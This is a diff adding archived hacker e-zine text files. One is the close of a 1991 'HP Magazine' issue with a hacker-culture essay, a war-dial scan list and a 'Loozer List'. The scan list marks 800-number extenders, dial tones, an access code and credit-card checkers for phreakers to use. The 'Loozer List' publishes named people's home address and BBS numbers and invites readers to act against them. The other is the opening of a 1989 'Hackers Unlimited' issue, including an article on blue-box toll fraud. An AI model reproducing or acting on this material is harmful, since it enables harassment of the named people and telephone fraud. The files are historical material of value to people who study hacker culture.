pseudonyms that some hackers adopt +through bulletin boards. Mitnick, for example, called himself Condor, after +the title role played by Robert Redford in the movie Three Days of the Condor, +a character that symbolized the isolated loner fighting a corrupt political +establishment. James Bond and his 007 "licensed to kill" status frequently +crop up in aliases; Mitnick allegedly used Bondian pseudonyms for one of his +hacked telephone accounts. + What really sets hackers apart is their joy in the process of computing, +reported Harvard University sociologist and psychologist Dr. Sherry Tuckle +after studying the hacking phenomenon at the Massachusetts Institute of +Technology. She wrote perceptively about it in her book The Second Self - +Computers and the Human Spirit. + "Though hackers would deny that theirs is a macho culture, the +preoccupation with winning and subjecting oneself to increasingly violent test +smakes their world peculiarly unfriendly to women," she wrote. "There is, +too, a flight from relationship with people to relationship with the machine - +a defensive maneuvre more common to men than to women." + Dr. Turkle found that the MIT hackers engaged in what they called "sport +death," finding in computer programming an addiction to control similar to +that found among some racing drivers and test pilots. In each case, the +participants push their resources beyond what seems possible, with the hackers +concentrating on giving themselves ever more demanding mental, rather than +phsycial, challenges. This is why viruses are so facinating to them - and why +the hackers must be understood better as adversaries by those wishing to +protect their systems from invasion. The hackers' motiviation for +manipulating other people's systems is usually very different from the +motivations for personal gain or revenge involved in other computer crimes. + "It is a culture of people who have grown up thinking of themselves as +different, apart, and who have a commitment to what one hacker described as +'an ethic of total toleration for anything that in the real world would be +considered strange'," Dr. Turkle wrote. "The people who want to impost rules, +the inhabitants of the 'real world,' are devalued, as is the 'straight' +computer science community . . . . The hackers have to keep changing and +improving the system. They have built a cult of prowness that defines itself +in terms of winning over ever-more complex systems." + + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +ÚÄÄÄÄÄÄÄÄ¿ +³SCANNING³ +ÀÄÄÄÄÄÄÄÄÙ + + Of the many things I have done. Scanning has to be one of the more +lucrative things to do. With everything you can find when scanning, it is +hard to believe that ANYONE would not scan. Someday, I'll have to publish a +fone book of scans..ehhee. Joke maybe, but, we'll see. I would like to get a +scanning group together to scan directly for HP magazine. If there is anyone +who would like to be in my scanning group, contact me. + The below scans are for the 1.800.444.xxxx prefix. I jumped around a +little bit, but should have TONS more scans by the next issue. This should +last you a little why though... + +ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +ÃÄÄÄÄÄÄÄÄScans for 800.444.xxxxÄÄÄÄÄÄÄÄ´ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ +³ 0000 VMB ³ +³ 0003 VMB ³ +³ 0005 VMB ³ +³ 0029 MESSAGE CENTER VMB ³ +³ 0048 VMB ³ +³ 0050 VMB ³ +³ 0060 DIVERTER? MAYBE D.D. VMB ³ +³ 0063 WEIRD RING THEN BUSY ³ +³ 0071 VMB ³ +³ 0073 WEIRD RING THEN BUSY ³ +³ 0075 WEIRD ³ +³ 0078 DIAL TONE ³ +³ 0081 VMB (Audix) ³ +³ 0083 VMB ³ +³ 0084 FONMAIL VMB ³ +³ 0088 VMB ³ +³ 0089 FAX ³ +³ 0091 WEIRD RING THEN BUSY ³ +³ 0096 ASK FOR AN OUTSIDE LINE ³ +³ 0100 VMB ³ +³ 0106 VMB ³ +³ 0107 VMB ³ +³ 0112 CARRIER ³ +³ 0118 WEIRD RING THEN BUSY ³ +³ 0119 WEIRD RING THEN BUSY ³ +³ 0112 WEIRD RING THEN BUSY ³ +³ 0123 VMB?? ³ +³ 0141 FONMAIL ³ +³ 0143 VMB?? ³ +³ 0144 DIAL TONE (CODEð6079) ³ +³ 0155 WEIRD RING THEN BUSY ³ +³ 0171 FAX ³ +³ 0182 DIAL TONE ³ +³ 0202 DIVERTER ³ +³ 0210 DIRECT DIAL VMB ³ +³ 0219 FAX ³ +³ 0223 VMB ³ +³ 0231 VMB ³ +³ 0240 CARRIER ³ +³ 0242 AFTER HOURS VMB ³ +³ 0273 FAX ³ +³ 0274 VMB ³ +³ 0275 DIRECT DIAL VMB ³ +³ 0279 VMB ³ +³ 0507 CARRIER ³ +³ 0511 RINGS THEN BUSY ³ +³ 0520 RINGS THEN BUSY ³ +³ 0523 RINGS THEN BUSY ³ +³ 0534 AUTHORIZATION CODE FAILURE ³ +³ 0539 FAX ³ +³ 0547 EXTENDER ³ +³ 0549 EXTENDER ³ +³ 0553 EXTENDER ³ +³ 0560 VMB ³ +³ 0567 VMB ³ +³ 0607 RINGS THEN BUSY ³ +³ 0608 RINGS THEN BUSY ³ +³ 0609 RINGS THEN BUSY ³ +³ 0615 RINGS THEN BUSY ³ +³ 0617 RINGS THEN BUSY ³ +³ 0618 RINGS THEN BUSY ³ +³ 0624 RINGS THEN BUSY ³ +³ 0625 RINGS THEN BUSY ³ +³ 0626 RINGS THEN BUSY ³ +³ 0627 RINGS THEN BUSY ³ +³ 0628 RINGS THEN BUSY ³ +³ 0630 RINGS THEN BUSY ³ +³ 0631 RINGS THEN BUSY ³ +³ 0633 RINGS THEN BUSY ³ +³ 0635 RINGS THEN BUSY ³ +³ 0636 RINGS THEN BUSY ³ +³ 0638 RINGS THEN BUSY ³ +³ 0646 RINGS THEN BUSY ³ +³ 0649 RINGS THEN BUSY ³ +³ 0653 RINGS THEN BUSY ³ +³ 0654 RINGS THEN BUSY ³ +³ 0655 RINGS THEN BUSY ³ +³ 0656 RINGS THEN BUSY ³ +³ 0658 RINGS THEN BUSY ³ +³ 0660 RINGS THEN BUSY ³ +³ 0662 RINGS THEN BUSY ³ +³ 0668 CREDIT CARD CHECKER ³ +³ 0678 CREDIT CARD CHECKER ³ +³ 0684 VMB ³ +³ 0693 VMB ³ +³ 0709 FAX ³ +³ 0712 MCI CODE ³ +³ 0720 MCI ³ +³ 0722 MCI ³ +³ 0723 MCI ³ +³ 0731 MCI ³ +³ 0744 MCI SECURITY ³ +³ 0747 EXTENDER ³ +³ 0748 EXTENDER ³ +³ 0751 WEIRD TONE ³ +³ 0787 WEIRD BELLS(Extender) ³ +³ 0797 FAX ³ +³ 0803 FAX ³ +³ 0806 EXTENDER ³ +³ 0809 LOVE CONNECTION ³ +³ 0815 RINGS THEN BUSY ³ +³ 0816 EXTENDER ³ +³ 0817 VMB ³ +³ 0830 WEIRD BEEPS ³ +³ 1503 DIVERTER ³ +³ 1510 ANSWERING MACHINE ³ +³ 1511 VMB (LIMO SERVICE) ³ +³ 1513 WEIRD BEEPS ³ +³ 1514 VMB ³ +³ 1521 VMB ³ +³ 1534 AUTHORIZATION CODE FAILURE ³ +³ 1539 CELLULAR FONE? ³ +³ 1543 VMB (12 HOUR) ³ +³ 1546 VMB ³ +³ 1553 VMB ³ +³ 1563 AUTHORIZATION CODE FAILURE ³ +³ 1571 WEIRD ³ +³ 1575 AUTHORIZATION CODE FAILURE ³ +³ 1579 VMB ³ +³ 1583 CARRIER ³ +³ 1585 WILLOW PERIPHERALS? ³ +³ 1587 FONMAIL VMB ³ +³ 1588 FONMAIL ³ +³ 1592 ANSWERING MACHINE-HACKABLE ³ +³ 1596 FAX? ³ +³ 1599 FAX ³ +³ 1602 VMB ³ +³ 1608 AUTHORIZATION CODE FAILURE ³ +³ 1613 VMB ³ +³ 1615 STRANGE RING ³ +³ 1621 DIAL TONE ³ +³ 1634 AUTHORIZATION CODE FAILURE ³ +³ 1635 VMB ³ +³ 1636 VMB ³ +³ 1642 ANSWERING MACHINE ³ +³ 1645 FAST BUSY ³ +³ 1646 FAST BUSY ³ +³ 1654 VMB ³ +³ 1673 FAST BUSY ³ +³ 1674 VMB ³ +³ 1679 FAX ³ +³ 1690 DIAL TONE ³ +³ 1701 DIAL TONE ³ +³ 1705 FAST BUSY ³ +³ 1720 VMB (MESSAGE CENTER) ³ +³ 1723 FAST BUSY ³ +³ 1726 FAX ³ +³ 1729 VMB ³ +³ 1730 FAST BUSY ³ +³ 1731 FAST BUSY ³ +³ 1737 FAST BUSY ³ +³ 1738 STRANGE VMB ³ +³ 1739 FAST BUSY ³ +³ 1748 DIAL TONE ³ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ +ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ +ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + Here is a handy printout to use when scanning. + + ÄÄÄÄÄÄÄ¿ +cut here \³/ +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- +| Scan Sheet for Prefix _____ (C)1991 HP Magazine | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- +| | | | | +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- +cut here /|\ + ÄÄÄÄÄÄÄÄ| +The smallest block on the left is for the 4 digits at the end of the +prefix..here's an example +----------------------------------------------------------------------------- +| 1602 | vmb | 1750 | Dial Tone | +----------------------------------------------------------------------------- + That's a pretty easy way of keeping track of everything. + + Genghis Khan + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +ÚÄÄÄÄÄÄÄÄÄÄÄ¿ +³LOOZER LIST³ +ÀÄÄÄÄÄÄÄÄÄÄÄÙ + +There have arisen in the Underground and the entire Computer world as a whole, +a group of people, that I can not think of much more of a name for them. The +simplest thing to call them, are LOOZERS. I have already recieved threats of +lawsuits and the sort for posting peoples name in the loozer list. But, I am +not telling anyone to do anything. It is your choice what you do. I am +mearly spotlighting those few people, who well, make it tough for all of us to +go forward. And of everything, I am mearly stating facts. Home addresses, +fone numbers, entire names, bulletin boards, and what they do. There is NO +law against that, and if you have something to say about it, say it. I'm +ready. + +Allen Lee +116 Spinning Rd +Dayton Ohio 45414 +Our Place BBS - 513-252-1928 - 24oo +Distrubutes McAfee Anti-Virus Files and Tracks Down Hackers. +Running WildCat 2.55n + + +Joeseph Caplinger +J&Js BBS Node 1 - 513-236-4788 - 24oo +J&Js BBS Node 2 - 513-236-3087 - 24oo +J&Js BBS Node 3 - 513-236-1229 - 96oo +Locked Many of the Underground Out of the BBS for stating an opinion +My what a democracy we live in.. +Running WildCat 3.0 + + +Marc Younkin +Yorktown BBS - 513-434-8024 - 24oo +TransAmiga +Stated he was out to take down the entire IBM underground. +Captures and other data have been recovered from his board +that make this statement true. + + +Joey Evans +Blazing BBS ð 513-878-6014 +SuperBBS +This guy (?) is accused of turning classified underground information to +certain Public Doman Sysops including Allen Lee. Was in the underground for a +short time. Believes himself to be the best hacker in the world. Has a habit +of thinking he is superior to the rest of the world. Very Obnoxious. + + + + That ends the list of loozers. I hope to make this section a LOT bigger +in the next issue. Keep the names and numbers coming. What you do to these +people/boards is strictly a product of you. The writer/s and or editors of HP +magazine take no responsibility for any actions taken. Please read the +beginning disclaimer for further information + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + ÚÄÄÄÄÄÄÄÄÄÄÄ¿ + ³QUICK NOTES³ + ÀÄÄÄÄÄÄÄÄÄÄÄÙ + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Spicoli was busted. Answers are vague. Information is being held until +either a court case or questioning comes. What Spicoli was busted on is still +a mystery. Hopefully, we will soon know what it was. I warn all to stay away +from the bridges that Spicoli was calling. If you know what I'm talking +about, you know what to do. + + -Genghis Khan +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +I have talked to two people now that have been called or visited because of +hacking 748-9200. Just a warning. +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Do not call the 713 CBI dialup. It is being monitored. +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +It is illegal for anyone, including government agencies to put a tap on your +line. If you think your line is being tapped, call your operator. Then have +her connect you to repair service. Tell them you think you are being tapped +and that you would like to have the line checked. They will usually give you +the number for that Telco's Security Department. Call them, and they will +check out the line for any sort of tap. Then give you the option to press +charges, if it can be discovered who is tapping it. +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + ÚÄÄÄÄÄÄÄÄÄÄÄ¿ + ³BBS REVIEW?³ + ÀÄÄÄÄÄÄÄÄÄÄÄÙ + + Well, I must admit, I did run out of time on this magazine. Therefore my +BBS Review and VMB Review will have to wait till next issue. But I will list +a few good boards that I can think of right off hand. If I leave you out, +which I probably will, please excuse me, and I will try and get you in the +next issue. + + Dragon's Keep + Home of HP Magazine + 513.277.6oo6 + 12oo/24oo + NuP OPTIONS + SysOp-Term Inal aka Dragonlord + CoSysOp-Genghis Khan + Running Telegard + + I am Co-SysOp on this board, give it a call. I have some innovative ideas +in effect on this board including a message base called Phreak Klass. We have +had a great response for the Phreak Klass Base and hopefully we are producing +some good New Phreakers. Unlike some I have seen recently who think they know +everything and don't. + + + High Voltage + 513.898.8768 + 12oo/24oo/96oo/14.4/38.4 + NuP CourierHst + SysOp-Circuit Breaker + CoSysOp-Genghis Khan + + I also have co-sysop status on this board. More oriented towards the +usage part of phreaking and not the fundamentals. Still a good board to call. +Message bases galore. But the Circuit Breaker has a past of being a warez +d00d. I converted him, and he is now half half. Give it a call. Well worth +it. Running Telegard. + + + Gonzo's Gabanza + 513.89o.o655 + 12oo/24oo/96oo/14.4/38.4 + NuP GATE*WAY + SysOp-Gonzo Merkazoid + + Pretty good H/P board. Specializes in just about everything. Many files +to choose from. Overall, one of the better boards. Running Telegard. + + + Crow Technologies + 513.433.861o + 12oo/24oo + NuP CORAL + SysOp-Crow Meister + + Specializes in Virii and Trojans. If I can remember right, has at least +400 viruses. And I'm sure that is an old count. Getting access is difficult. +Easy for me, easy for some. Those who do not know there stuff need not apply. +Running TcH 3.0. Very nice board. + + + These boards are all local to me. If you have something you would like to +see in HP Magazine or would like to comment on the mag, please leave you +messages on these boards. Thank you. + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + ÚÄÄÄÄÄÄÄÄÄÄ¿ + ³CONCLUSION³ + ÀÄÄÄÄÄÄÄÄÄÄÙ + + + I feel somewhat bad about the content of this magazine. Being the first +issue I hoped to make it great. But I didn't anticipate how long it would +take. I am sorry if I let some of you down. The next issue will be much +better. Time was ticking down and I had to get this baby out. So, use what's +in here while you wait another month, till January 6th, 1992. I will include +AT LEAST 2 Interviews/profiles. Scans galore, Complete BBS Review. A VMB +Review. More Loozers. More News. Don't miss it. + + And to all who are reading this. Merry Christmas and a Happy New Year to +you. Let's make the headlines in 1992. + + + + + + -Genghis Khan + Editor In Chief + + + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ \ No newline at end of file diff --git a/textfiles.com/magazines/ONESHOTS/hu.txt b/textfiles.com/magazines/ONESHOTS/hu.txt new file mode 100644 index 00000000..c771dea9 --- /dev/null +++ b/textfiles.com/magazines/ONESHOTS/hu.txt @@ -0,0 +1,2485 @@ + + The Mickey Mouse Club Presents... + + __ __ ____ __ __ __ ______ _____ ______ + __ __ __ __ __ __ __ __ __ __ __ __ + ______ ________ __ ___ ____ _____ ______ + __ __ __ __ __ __ __ __ __ __ __ __ + __ __ __ __ __ __ __ ______ __ __ ______ + + Hackers + Unlimited + __ __ __ __ __ ______ __ __ ______ ______ ______ ____ + __ __ ___ __ __ __ ___ ___ __ __ __ __ __ + __ __ __ __ __ __ __ __ __ __ __ __ ____ __ __ + __ __ __ ___ __ __ __ __ __ __ __ __ __ + ____ __ __ ______ ______ __ __ ______ __ ______ ____ + + Magazine + + Volume 1 + Issue 1 + + Released 10/02/89 + + Editors The Dark Lord + Cardiac Arrest + + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Hackers Unlimited + Volume 1, Issue 1 + + Table Of Contents + +# Title Author +------==========================================------------------------------- +1 How Ma Bell Crushed The Blue Box Cardiac Arrest +2 Beige Boxing Cardiac Arrest +3 Basic Information About Credit Cards Midnight Caller +4 MMC Guide To Hacking, Phreaking, Carding The Dark Lord +5 A Novice's Guide To Hacking - 1989 Ed. The Mentor +6 Cable Piracy Psycho Bear +7 Pyro File 1 Fallen Angel +8 Pyro File 2 Fallen Angel +9 Pyro File 3 Fallen Angel +10 Social Engineering Fallen Angel +11 Listings Compilations +12 Closing Notes Editors +------==========================================------------------------------- + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + "The Blue Box And Ma Bell" + Herb Friedman, Communications Editor + Radio Electroncs Magazine + November 1987 + + + Typed By : + Cardiac Arrest + +Before the breakup of AT&T, Ma Bell was everyone's favorite enemy. So it was +not surprising that so many people worked so hard and so successfully at +perfecting various means of making free and untracable telephone calls. +Whether it was a "Red Box" used by Joe and Jane College to call home, or a +"Blue Box" used by organized crime to lay off untracable bets, the technology +that provided the finest telephone system in the world contained the seeds of +it's own destruction. + The fact of the matter is that the Blue Box was so effective at making +untracable calls that there is no estimate as to how many calls were made or +who made them. No one knows for certain whether Ma Bell lost revenues of $100, +$100-million, or $1-billion on the Blue Box. Blue Boxes were so effective at +making free, untracable calls that Ma Bell didn't want anyone to know about +them, and for many years denied their existence. They even went as far as +strong-arming a major consumer science magazine into killing an article that +had already been prepared on the Blue and Red boxes. Further, the police +records of a major city contain a report concerning a break-in at the residence +of the author of that article. The only item missing following the break-in +was the folder containing copies of the earliest Blue-Box designs and a +Bell-System booklet that described how subscriber billing was done by the AMA +machine--a booklet that Ma Bell denied ever existed [article includes picture +proving otherwise - Cardiac]. Since the AMA (Automatic Message Accounting) +machine was the means whereby Ma Bell eventually tracked down both the Blue +and Red Boxes, we'll take time out to explain it. Besides, knowing how the AMA +machine works will help you to better understand "phone phreaking." + +WHO MADE THE CALL + Back in the early days of the telephone, a customer's billing was +originated in a mechanical counting device, which was usually called a +"register" or a "meter." Each subscriber's line was connected to a meter that +was part of a wall of meters. The meter clicked off the message units, and +once a month someone simply wrote down the meter's reading, which was later +interpolated into message-unit billing for those subscriber's who were charged +by the message unit. (Flat rate subscriber's could make unlimited calls only +within a designated geographic area. The meter clicked off message units for +calls outside that area.) Because eventually there were too many meters to +read individually, and because more subscribers started questioning their +monthly bills, the local telephone companies turned to photography. A +photograph of a large number of meters served as an incontestable record of +their reading at a given date and time, and was much easier to convert to +customer billing by the accounting department. + As you might imagine, even with photographs billing was cumbersome and +did not reflect the latest technical developments. A meter didn't provide any +indication of what the subscriber was doing with the telephone, nor did it +indicate how the average subscriber made calls or the efficiency of the +information service (how fast the operators could handle requests). So the +meters were replaced by the AMA machine. One machine handled up to 20,000 +subscribers. It produced a punched tape for a 24-hour period that showed, +among other things, the time a phone was picked up (went off-hook), the number +dialed, the time the called party answered, and the time the originating phone +was hung up (placed on-hook). + One other point, which will answer some questions that you're certain +to think of as we discuss the Red and Blue boxes: Ma Bell did not want persons +outside their system to know about the AMA machine. The reason? Almost +everyone had complaints--usually unjustified--about their billing. Had the +public been aware of the AMA machine they would have asked for a monthly list +of their telephone calls. It wasn't that Ma Bell feared errors in billing; +rather, they were fearful of being buried under an avalanche of paperwork and +customer complaints. Also, the public beleived their telephone calls were +personal and untraceable, and Ma Bell didn't want to admit that they knew about +the who, when, and where of every call. And so Ma Bellalways insisted that +billing was based on a meter unit that simply "clicked" for each message unit; +thatthere was no record, other than for long-distance calls, as to who called +whom. Long distance was handled by, and the billing information was done by +and operator, so there was a written record Ma Bell could not deny. + The secrecy surrounding the AMA machine was so pervasive that local, +state, and even federal police were told that local calls made by criminals +were untraceable, and that people who made obscene telephone calls could not be +tracked down unless the person receiving the cals could keep the caller on the +line for some 30 to 50 minutes so the connections could be physically traced by +technicians. Imagine asking a woman or child to put up with almost an hours +worth of the most horrendous obscenities in the hope someone could trace the +line. Yet in areas where the AMA machine had replaced meters, it would have +been a simple, though perhaps time-consuming task, to track down the numbers +called by any telephone during a 24-hour period. But Ma Bell wanted the AMA +machince kept as secret as possible, and so many a criminal was not caught, and +many a woman was harried by the obscene calls of a potential rapist, because +existence of the AMA machine was denied. + As a sidelight as to the secrecy surrounding the AMA machine, someone +at Ma Bell or the local operating company decided to put the squeeze on the +author of the article on Blue Boxes, and reported to the treasury Department +that he was, in fact, manufacturing them for organized crime--the going rate in +the mid 1960's was supposedly $20,000 a box. (Perhaps Ma Bell figured the +author would get the obvious message: Forget about the Blue Box and the AMA +machine or you'll spend lots of time, and much money on lawyer's fees to get +out of the hassles it will cause.) The author was suddenly visited ay his +place of employment by a Treasury agent. Fortunately, it took just a few + minutes to convince the agent that the author was really just that, and +the a technical wizard working for the mob. But one conversation led to +another, and the Treasury agent was astounded to learn about the AMA machine. +(Wow! Can an author whose story is squelched spill his guts.) According to +the treasury agent, his department had been told that it was impossible to get +a record of local calls made by gangsters: The Treasury department had never +been informed of the existence of automatic message accounting. Needless to +say, the agent left with his own copy of the Bell System publication about the +AMA machine, and the author had an appointment with the local Treasury-Bureau +director to fill him in on the AMA Machine. That information eventually ended +up with Senator Dodd, who was conducting a congressional investigation into, +among other things, telephone company surveillance of subscriber lines--which +was a common practice for which there was detailed instructions, Ma Bell's own +switching equipment ("crossbar") manual. + +THE BLUE BOX + The Blue Box permitted free telephone calls because it used Ma Bell's +own internal frequency-sensitive circuits. When direct long-distance dialing +was introduced, the crossbar equipment knew a long-distance call was being +dialed by the three-digit area code. The crossbar then converted the dial +pulses the the CCITT tone groups, shown in Table 1 [I'll put the table in at +the end of the file - Cardiac], that are used for international and truckline +signalling. (Not that those do not correspond to Touch-Tone frequencies.) As +you can see in that table, the tone groups represent more than just numbers; +among other things there are tone groups indentified as KP (prime) and ST +(start)--keep them in mind. When a subscriber dialed an area code and a + telephone number on a rotary-dial telephone, the crossbar automatically +conneceted the subscriber's telephone to a long-distance truck, converted the +dial pulses to CCITT tones sent out on the long-distance trunk that set up or +selected the routing and caused electro-mechanical equipment in the target city +to dial the called telephone. + Operator-assisted long-distance calls worked the same way. The +operator simply logged into a long-distance trunk and pushed the appropriate +buttons, which generated the same tones as direct-dial equipment. The button +sequence was KP (which activated the long-distance equipment), then the +complete area code and telephone number. At the target city, the connection +was made to the called number but ringing did not occur until the operator +there pressed the ST button. The sequence of events of early Blue Boxes went + like this: The caller dialed information in a distant city, which +caused his AMA machine to record a free call to information. When the +information operator answered, he pressed the KP key on the Blue Box, which +disconnected the operator and gave him access to a long-distance trunk. He +then dialed the desired number and ended with an ST, which caused the target +phone to ring. For as long as the conversation took place, the AMA machine +indicated a free call to an information operator. The technique required a +long-distance information operator because the local operator, not being on a +long-distance trunk, was accessed through local wire switching, not the CCITT +tones. + +CALL ANYWHERE + Now imagine the possibilities. Assume the Blue Box user was in +Philadelphia. He would call Chicago information, disconnect from the operator +with a KP tone, and then dial anywhere that was on direct-dialing service: Los +Angeles, Dallas, or anywhere in the world in the Blue Boxer could get the +internatioal codes. + The legend often told of one Blue Boxer who, in the 1960's, lived in +New York and had a girlfriend at a college near Boston. Now back in the +1960's, making a telephone call to a college town on the weekend was even more +difficult than it is today to make a call from New York to Florida on a +reduced-rate holiday using one of the cut-rate long-distance carriers. So our +Blue Boxer got on an international operator's circuit to Rome, Blue Boxed +through to a Hamburg operator, and asked Hamburg to patch through to Boston. +The Hamburg operator thought the call originated in Rome and inquired as to the +"operator's" good English, to which the Blue Boxer replied that he was an +expatriate hired to handle calls by American tourists back to their homeland. +Every weekend, while the Northeast was strangled by reduced-rate long-distance +calls, our Blue Boxer had no trouble sending his voice almost 7,000 miles for +free. + +VACUUM TUBES + Assembly plans for Blue Boxes were sold through classified +advertisements in the electronic-hobbyist magazines. One of the earliest +designs was a two-tube poertable model that used a 1.5-volt "A" battery for the +filaments and a 125-volt "B" battery for the high-voltage (B+) power supply. +The portable Blue Box's functional circuit in shown in Fig. 2 [It's nothing you +can't find in any good Blue Box g-file, so I won't try to draw it - Cardiac]. +it consisted of two phase-shift oscillators sharing a common speaker that mixed +the tones from both oscillators. Switches S1 and S2 each represent 12 +switching circuits used to generate the tones. (No, we will not supply a +working circuit, so please don't write in and ask--Editor)[That's the real +editor, not me - Cardiac] The user placed the speaker over the telephone +handset's transmitter and simply pressed the buttons that corresponded to the +disired CCITT tones. It was just that simple. + Actually, it was even easier then it reads because Blue Boxers +dicovered they did not need the operator. If they dialed an active telephone +located in certain nearby, but different, area codes, they could Blue Box just +as if they had Blue Boxed through an information operator's circuit. The +subscriber whose line was blue Box conversatio was short, the "dead" phone +suddenly came to life the next time it was picked up. Using a list of +"distant" numbers, a Blue Boxer would never hassle plain to the telephone + company. The difference between Blue Boxing off a subscriber rather +than an informatio operator was that the Blue Boxer's AMA tape indicated a real +long-distance telephone call--perhaps costing 15 or 25 cents--instead of a +freebie. Of course, that is the reason why when Ma Bell finally decided to go +public with "assisted" newspaper articles about the Blue Box users they had +apprehended, it was usually about some college kid or "phone phreak." One +never read of a mobster being caught. Greed and stupidity were the reasons why +the kid's were caught. It was the transistor that led to Ma Bell going public +with the Blue Box. By using transistors and RC phase-shift networks for the +oscillators, a portable Blue Box could be made inexpensively, and small enough +to be used unobstrusively from a public telephone. The college crowdin the +many technical schools went crazy with the partable Blue Box; they could call +the folks back home, their friends, or get a free network (the Alberta and +Carolina connections--which could be a topic for a whole separate article) and +never pay a dime to Ma Bell. Unlike the mobsters who were willing to pay a +small long-distance charge when Blue Boxing, the kids wanted it, wanted it all +free, and so they used the information operator routing, and would often talk +"free-of-charge" for hours on end. + Ma Bell finally realized that Blue Boxing was costing them big bucks, +and decided a few articles on the criminal penalties might scare the Blue +Boxers enough to cease and desist. But who did Ma Bell catch? The college +kids and the greedies. When Ma Bell decided to catch the Blue Boxers she +simply examined the AMA tapes for calls to an information operator that were +excessively long. No one talked to an operator for 5, 10, 30 minutes, or +several hours. Once a long call to an operator appeared several times 